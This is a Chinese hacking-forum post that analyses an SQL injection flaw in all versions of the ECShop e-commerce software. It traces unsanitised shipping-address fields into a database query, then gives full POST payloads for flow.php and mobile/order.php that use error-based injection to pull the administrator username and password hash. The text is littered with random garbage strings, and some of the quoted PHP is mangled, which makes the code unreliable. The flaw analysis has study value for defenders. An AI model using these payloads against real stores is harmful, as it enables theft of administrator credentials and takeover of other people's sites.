找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2401|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。( Y$ d$ f; _! u0 U6 {/ i
3 G9 f) g% y! u9 t# s3 g
    漏洞关键文件:  I/ @, E+ A1 L, T

4 N/ Y7 _. x8 \1 X/ s  d    /includes/lib_order.php
4 g% _( S2 g- m0 x: P) r) v0 ]/ J* m4 H8 e2 v: @
    关键函数:+ O2 g& B4 Q' f/ O' E

; q2 J, U; \* A
, F$ T) N0 H5 G; G! b9 z
8 C. \8 d0 T$ G# {) w$ W1 k+ @: _! b01     function available_shipping_list($region_id_list) ! Q7 ?8 [" l3 X" d1 s; L

( r/ f+ }  F+ f# Q( |. V02 {
: ?7 j4 T$ E# }# D8 B6 f3 |4 ]  A" m2 S) z6 W
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 5 C7 P. T7 a( L# a

$ X$ e( _0 i0 c" z04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
# I' v5 V9 ]/ O3 w
$ [7 r3 P8 |) Y7 i05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
0 [2 o7 X( O! W! C. o% a/ @6 c( P" ~# Y+ C5 _
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . + X# J: m9 q; z$ W

, s! e- |9 t3 W# |4 r, }07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ' o7 v  g0 M* A- j
( l" N9 k# |/ v
08             'WHERE r.region_id ' . db_create_in($region_id_list) . 4 I4 a9 e3 O: s4 ?

) O9 ^+ D/ s2 K' W2 \09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
9 {6 S* g9 N" ^+ f/ W" d2 o3 x
; s4 ]! y: U# Z) d10   ! X/ C( T9 Y, ]* W2 z. |
) B8 f; b5 j5 }* X
11     return $GLOBALS['db']->getAll($sql);
+ ^$ _( W# i" e+ G& c8 D8 M2 R1 t) _
12 } ; R( p4 S& B0 X  A' d7 v8 j

1 |# q9 u! o7 u0 O显然对传入的参数没有任何过滤就带入了查询语句。- `/ B: W9 c2 \: _. K

0 v2 x. |* H4 p* A, R1 V2 V下面我们追踪这个函数在flow.php中:. I1 j. M3 T* Y1 @
第531行:   
& c7 V9 G1 O' t* O+ O1 I6 o7 b9 _( ^6 e6 ?
1 $shipping_list     = available_shipping_list($region); 5 A# V9 f* p* f# m! z+ Z

, V  {1 ~$ D/ p
& Z( S7 X- N2 D) ^+ t3 k: S* i, g9 t- v0 K, }; L4 r: F

) d7 h1 U6 C8 B. b4 W5 ^6 L. Z+ R
' K1 _/ _) G# r- d. U' M- }再对传入变量进行追踪:
2 D! {8 Y% d$ A
3 ?" ]" I& ^# [, h" i) n第530行:   
1 _* U2 ^; H2 y- O+ C7 d; C; N, C4 q4 c* U
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 2 V% }0 _& E) k" d$ Y; r

8 c' n3 P* Q) E1 C7 a 2 L. x5 z  b! p9 [$ I& D
' ~: V6 X  U8 s% C: [% s+ b" H

8 ^5 w' ]# D. F2 K9 T1 p$ b' B: q1 I& |9 N
第473行:        5 Z* a! t5 F  U

5 q- L. K$ y% t' F& c: P. X, C1 $consignee = get_consignee($_SESSION['user_id']);
  R; m+ v; D1 R; X- H$ ~4 Z; f) l' w) \& F+ d2 S
到了一个关键函数:$ a9 A! S$ R: a$ N+ g5 p; x$ {  _$ S
2 ]4 P, y! L; P& }% I8 y3 ]
/includes/lib_order.php
& t& {1 z! E7 n9 P8 y) y8 S/ V/ C& _7 ?' C  D% j9 E& Y; p. S

' h, ~) d; G3 v" d8 I
$ G4 D7 S+ M7 Q  D+ d" |+ ? % C# k" U: a: g& `8 h) ^% @

( s5 ^0 a  R  @01 function get_consignee($user_id)
# I4 w9 X( B; ]/ N% M; v6 b$ K; l; u8 k, ?/ M# \' l
02 { 5 s9 G% n: {) t* ^
8 K2 Q4 l- [# o; B3 z$ B
03     if (isset($_SESSION['flow_consignee'])) : _0 x1 j( p% Z1 _# Z' d

/ ^: H! W8 b7 v/ h04     { : T( {/ d% ]" O
0 @: G1 E7 D" F. e( k
05         /* 如果存在session,则直接返回session中的收货人信息 */
# U: x* U2 q  G3 Z
) k; A% q" F5 [06   ! p% z9 B6 N' l7 a" ~4 C

& {/ C8 `) W( z0 Y07         return $_SESSION['flow_consignee']; 6 t0 ?& ~, W; G7 X" G( D
' I6 [  ], }  x; P( d& B, n
08     }
. N# s' d- `- J; k/ z2 ~! ^4 o. b' b* }, h
09     else 7 a; d- s- C- _3 D9 u8 l. ]

# h* _: ]: v# S, i+ o10     {
3 X4 ?$ m0 X( Q2 r% I; c# ~5 }7 M
11         /* 如果不存在,则取得用户的默认收货人信息 */
" {/ M7 H& T' G3 Z
# ^0 w% H3 y: `8 W: Q12         $arr = array();   z0 Q0 ^: n4 @- M0 D
1 k! `6 |0 R$ a8 ~2 m1 o
13   7 ?( O' ?) y# A  z4 ?
& A- ?6 C/ Q; ^
14         if ($user_id > 0)
' O4 B' |' y# y) E4 T8 q' q8 T1 ?( ]) n9 t0 i
15         { 5 T5 ^9 \% ]* l" B' p( H2 U% Y

- h% A+ |# z: T) s" g16             /* 取默认地址 */ # Z) o5 z3 a8 v6 q- L7 K8 T' D6 X

7 S" E% I+ q. S2 Y, s/ v2 t3 i17             $sql = "SELECT ua.*".
6 M0 p% X' T: u& I' S  s
/ F1 }: \! h0 g4 o% q18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
  b( e) p/ k5 g% w' s* p
# R& k* ~% h0 b3 d" G' U( j) |9 U19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
# c$ C0 @4 O; R9 ~* H# H" h" t) o1 `$ N9 G, l
20   
8 I! {+ S' P5 a5 v' b1 G0 L! M% }
0 C: S( Z: C" w$ T8 C21             $arr = $GLOBALS['db']->getRow($sql);
( L% H' x0 p0 {; i5 T9 z$ `- }4 W; }5 ?
22         } 5 s& t# A3 h+ R7 [" e& j

) L, w0 D' K- F5 }23   
  q+ W9 }8 x% }( H! J' n
* o1 k3 e) h' M* x) L% _24         return $arr; 0 e/ z- c! n  H. S8 H9 @& s- |
7 c1 c% s1 `/ a! E
25     }
7 U/ t: N0 F' W8 u- I- F# t/ U2 F  ?
26 }   \5 N$ q$ V8 j( q2 q* n3 N* y
0 h: J4 n& a3 H8 L2 _; A) k' P0 e" R
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?% s3 U1 ?7 c0 b8 C' h
3 A. G: {7 Z" I( Q. L. O# k
! \  }' G4 H' K: ~

( V/ H$ I+ c9 }4 E( L8 x* H% s关键点:
( w. s& m1 j2 `8 ~. G. D7 w$ b7 F0 _' V
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);( [& S& Z8 m$ b0 B9 S) j
) _( S" g0 [' }' b7 v$ b$ ~
这里对传入参数反转义存入$_SESSION中。
, z+ B# `0 d% \9 p3 f* _3 v# K" B/ @2 k$ \

5 c& a+ _9 W" }# m* c; E
# |$ R" V9 O" ~5 N- d然后看下:2 k/ J: Z( P' I  G4 P0 r
) E$ G# H" n; C9 F9 Y1 O* N

" ]7 ?% {' a0 |0 v, P- K* Z  Q: P( i; S: Q3 \
   
( S# w4 R# G3 N2 Z' E7 ]4 X9 V8 F! v$ b* u& j! U) N0 I$ G/ M
01 $consignee = array( 4 F  M9 O9 w: B9 B
- L1 o+ d, r# T( o' g
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), ) f1 v: T5 S5 G5 t) y. w% b

! p" R# M: S* W8 }1 V03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
& M( V. |# K: c$ Q3 o8 h4 u. E) C9 m5 ^1 Z) [4 k, h1 q9 g8 f
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], % E% ]+ B5 N+ V7 y( }

% w' J& b( V' ~# d7 P0 q; C( `; M# R05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
6 O& O4 ^# u2 ]
) f  J( [/ D9 V+ o* Q# W0 [06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
5 m& J/ c7 C9 n+ _
( W& ^& D+ P9 c; ]; ?07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 1 N$ t! Q& j( s' {/ o, e

3 |3 ^) h& F8 @08         'email'         => empty($_POST['email'])      ? '' _POST['email'], % P$ b, }" d+ s% X, N7 @

/ ?9 `4 h5 c; ~3 g09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
* V# [* ?/ Z1 |9 l2 J* Y7 E7 T
( ?! [7 }6 p# C0 P( b& c10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
4 X  d/ f7 t2 h9 \: B' u; k% {, ~- {" H# }# R. Y" N% B+ b( _- _
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 1 c* l0 s. [1 ]
9 y5 R; W) O/ `( O: l7 M% t
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
& r4 k1 U* ~# s7 O9 g. Z5 \! E1 ]/ ~; S4 O( `! _
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ) b% f( G: a6 u$ B1 y; R; l& r6 G
0 F& Z: s0 J+ E1 O0 i: }
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
: z; ?3 T" _$ u8 r% m# D( O4 a& h6 H9 r6 g' ^
15     );
# t+ ~7 [- \/ F" V1 z) m' B1 z6 [* N
好了注入就这样出现了。! t% Z, m4 u& R' a

" ^5 a1 j, G+ ^0 ]8 C==================( Y- e1 }# g1 ~3 P; k  n" |" j* U

0 T2 {7 a" i7 y( W* m/ D注入测试:; c" S1 v+ o; Q1 w2 u* f

) d2 {2 x! A  x7 j5 j环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)' I1 Y* M- W9 h" `
3 X4 y2 _1 B0 ~. J6 e! b- {
测试程序:ECShop_V2.7.3_UTF8_release1106
' k3 ^$ E3 k$ o) a1 a5 `
, |1 ~# O6 S9 B ; u7 @1 A, X3 p) r
9 h* s9 s" X" J& \# \
1.首先需要点击一个商品加入购物车
7 v5 ]* Z: `& Y* W1 [" K. l2 M  \3 P0 T" C5 T
2.注册一个会员帐号3 i, s7 m3 E1 H' U$ o6 V
5 G+ F- g& G# h3 d
3.post提交数据
$ `/ ^* B. q8 \) g5 n$ a: ^' ~5 i+ N5 F

, ]5 R3 b/ ?0 q) R! p6 i
) j, ]( H: q/ `1 http://127.0.0.1/ecshop/flow.php ( R* p8 E( l; H2 M9 t9 {

. x& m" ]0 J& H* m; @' g2   
7 }8 P9 S5 ^+ ?; Q4 y) G* s
5 N9 U3 X+ H/ o# h/ {3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
5 r1 R4 t: x% r; D8 T举一反三,我们根据这个漏洞我们可以继续深入挖掘:
- h& t3 V/ e# u2 e' r3 i3 t+ v
" V1 J( s* g8 w* ], p我们搜寻关键函数function available_shipping_list()' g8 g, B* N8 }5 R

  O# {/ E( f& F/ \1 A( J# {* A在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同; B: f5 h4 L, G# O

8 ^/ k1 v4 q3 m2 T# d6 ?: [利用exp:
; }) x. M' R7 }$ X9 [; F
  |( K4 a6 a2 I4 O7 E& f. k1.点击一个商品,点击购买商标- W6 G& y4 f; S. {, x5 }& J4 i
# L0 {' L8 G; _* v3 j, t( B
2.登录会员帐号
6 P% F! O4 W. M6 u' z0 j0 G, I9 r5 e2 x! l
3.post提交:+ d7 i1 ^, ]6 V! A! W' U- i- H8 B

  P: V: f6 D( Y0 z) khttp://127.0.0.1/ecshop/mobile/order.php- w; @% W' [0 r: X5 x4 {
  a7 O: q! n+ M$ G9 z
0 w( b' B- ?3 p2 {+ j1 m, a

% b/ ^( Q* }/ A6 Gcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
, v; R7 B/ a6 @, C
- s. N5 d3 J5 ?' x! J- j+ h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表